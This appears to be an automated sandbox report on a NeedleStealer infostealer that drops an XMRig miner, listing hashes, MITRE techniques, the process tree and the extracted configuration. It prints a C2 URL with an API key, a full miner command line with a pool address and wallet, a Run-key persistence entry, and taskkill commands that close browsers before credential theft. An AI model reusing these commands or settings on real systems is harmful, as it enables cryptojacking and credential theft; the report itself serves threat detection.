needle_stealer | 4b3d9ff0f3eef2684879bea47fb066a259bb2cc18bb0ab0c2f0c069e732dd5e1

General

Target
file.exe
Size 10KB
Sample260804-ttetnavbpe
SHA256 4b3d9ff0f3eef2684879bea47fb066a259bb2cc18bb0ab0c2f0c069e732dd5e1
MD5 94498bcc84599ebe710f3efd951845da
SHA1 9f28937b9f7e0ea73557bb2354702862b03308ac
SHA512 9dbce6d216b2a8845c1be029bac8e4d870b7ea137f9d8adb72bf9d4305959d92dfd0aa918c62cc9079d4dcccdb10ba99559847ccfe6396bbfd54d947d1cadd60
SSDEEP 192:b0oVW0BJBqcx+ep/AX5PFJxTEZmFhSKcq:b0oLBecwCAX5PFwZ2
TLSH
T15822292E6E890072D7904DF416B54A4D657E457327C6B3EBF373C5990EE92448042BEF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution needle_stealer xmrig miner persistence spyware stealer

Malware Config

Extracted

Family

needle_stealer

C2

http://130.12.180.135:3000/api/v2

Attributes

api_key
alk_2f668968ee87e7d30f8b996112bebef880cfe8626af9c1d8d53e0f719e47be4f
base_extension
false
self_destruct
false

Signatures

Family: NeedleStealer
NeedleStealer is a modular stealer written in Golang.
stealer needle_stealer
Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Detects NeedleStealer payload 1 IoCs

resource	yara_rule
behavioral2/files/0x000d00000001c46c-10.dat	family_needlestealer

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000d00000001c46e-18.dat	family_xmrig
behavioral2/files/0x000d00000001c46e-18.dat	xmrig

Downloads MZ/PE file 2 IoCs

flow	pid	Process
3	1308	file.exe
4	440	4076633368.exe

Executes dropped EXE 5 IoCs

pid	Process
440	4076633368.exe
1824	1789112082.exe
4800	sysmgnrsv.exe
1164	sysfrodolv.exe
5212	sysmgnrsv.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Config = "\\sysfrodolv.exe"	4076633368.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2840	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4076633368.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysfrodolv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	5	Go-http-client/1.1

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
1272	taskkill.exe
2568	taskkill.exe
2692	taskkill.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
1824	1789112082.exe
1824	1789112082.exe
1824	1789112082.exe
1824	1789112082.exe
1824	1789112082.exe
1824	1789112082.exe
1824	1789112082.exe
1824	1789112082.exe
1824	1789112082.exe
1824	1789112082.exe
1824	1789112082.exe
1824	1789112082.exe
1824	1789112082.exe
1824	1789112082.exe
1824	1789112082.exe
1824	1789112082.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	1824	1789112082.exe
Token: SeDebugPrivilege	1272	taskkill.exe
Token: SeDebugPrivilege	2568	taskkill.exe
Token: SeDebugPrivilege	2692	taskkill.exe
Token: SeLockMemoryPrivilege	5212	sysmgnrsv.exe
Token: SeLockMemoryPrivilege	5212	sysmgnrsv.exe
Token: SeIncBasePriorityPrivilege	5212	sysmgnrsv.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5212	sysmgnrsv.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1308 wrote to memory of 440	1308	file.exe	89
PID 1308 wrote to memory of 1824	1308	file.exe	90
PID 1824 wrote to memory of 2568	1824	1789112082.exe	91
PID 1824 wrote to memory of 1272	1824	1789112082.exe	92
PID 1824 wrote to memory of 2692	1824	1789112082.exe	96
PID 440 wrote to memory of 4800	440	4076633368.exe	98
PID 440 wrote to memory of 1164	440	4076633368.exe	100
PID 1164 wrote to memory of 2840	1164	sysfrodolv.exe	102
PID 2840 wrote to memory of 5212	2840	cmd.exe	104

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1308
- C:\Users\Admin\AppData\Local\Temp\4076633368.exe
  C:\Users\Admin\AppData\Local\Temp\4076633368.exe
  2⤵
  - Downloads MZ/PE file
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:440
- - C:\Users\Admin\sysmgnrsv.exe
    C:\Users\Admin\sysmgnrsv.exe
    3⤵
    - Executes dropped EXE
    PID:4800
- - C:\sysfrodolv.exe
    \sysfrodolv.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1164
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2840
    - - C:\Users\Admin\sysmgnrsv.exe
        
        C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:5212
- C:\Users\Admin\AppData\Local\Temp\1789112082.exe
  C:\Users\Admin\AppData\Local\Temp\1789112082.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1824
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2568
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1272
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedgewebview2.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2692

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

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1789112082.exe

Path C:\Users\Admin\AppData\Local\Temp\1789112082.exe
Size 8.3MB
SHA256 ed1d3f69fbbd5576c2ed8dba45ba22c4f6884eb311d4f6e389203846d512ec11
MD5 2cfaefe80e05fe0f093cf5c382d7c77f
SHA1 c2ad2a5b5cd45e6f574d86b6e5b1079ed3063933
SHA512 d75a4743bcb6fa5d879e06ef83536c00408434dff59aee6a182745fe43f57099d9cf3e85cbc149960846ae1d5d4d5cce790baa717f089afbc96bfdf771b1a3d7
SSDEEP 98304:aoM7vbdbj6O/qZLw5tfjf8Bwm1sDjNXX5Ikr3aX5svhUE:aoMLbdbWO/eLafjUBD1+jNnSMq+t
TLSH
T131968D07EC9155A9C0AAE6358A729253BA717C485B3123D73F90F7382F73BD06AB8750
MD5 SHA1 SHA512 SSDEEP TLSH

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4076633368.exe

Path C:\Users\Admin\AppData\Local\Temp\4076633368.exe
Size 12KB
SHA256 01f64c61767bc41f039cf2080e61da49c96b14e4d558da6c03128e40ca816799
MD5 07bd5d0edaca14204802b8ff7db346ce
SHA1 660784d4aa65c5914978fae86d4f493e26a9b2b1
SHA512 7ba6ede3f8f94eda823241898465fcd71ac5935ed46ed679a525360d44ab6eb9a1298bd7c1c0e7fab28fe096471a62a014c8e147abf752d42118d880b4ad614e
SSDEEP 192:PeeTbgOhmKM84zleg7zL/mmPJxTZ3lk9nAthBsuNOk:mITwG4z0A2oZK9nABsk
TLSH
T1D3421A07AD998121E7F00DB1147E924B86BD3D723BD5AC9FA700F5462DB17A0C472A7D
MD5 SHA1 SHA512 SSDEEP TLSH

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sysmgnrsv.exe

Path C:\Users\Admin\sysmgnrsv.exe
Size 6.2MB
SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
MD5 ac458ece671fdde066ce60e448f12bc0
SHA1 d31d5d5617a09e09df0cd3bffde6b03f48a0d540
SHA512 f0c8d01b2ae26e2ad1f63d74831a835b37a2f95e3020b66e9a71b161408a5599f2aa4effc2079c6250cc0e9c34ada1b2a6aba771ea388c6a90ead220a840aa99
SSDEEP 98304:N36U0mJMOqh9s03ZMza32r4vQmI4eXUMltMQXfPJFWNNrgs4u/EKgIymvloXMPwn:NL7y5h9FcJFwrgDu/nGmv6iL0Qg
TLSH
T19D569D26B7A400E8C87AC53CC6469513F7B2B81A53B0A7DB17B4967A1F336D41E3EB50
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/4800-20-0x0000024826C70000-0x0000024826C90000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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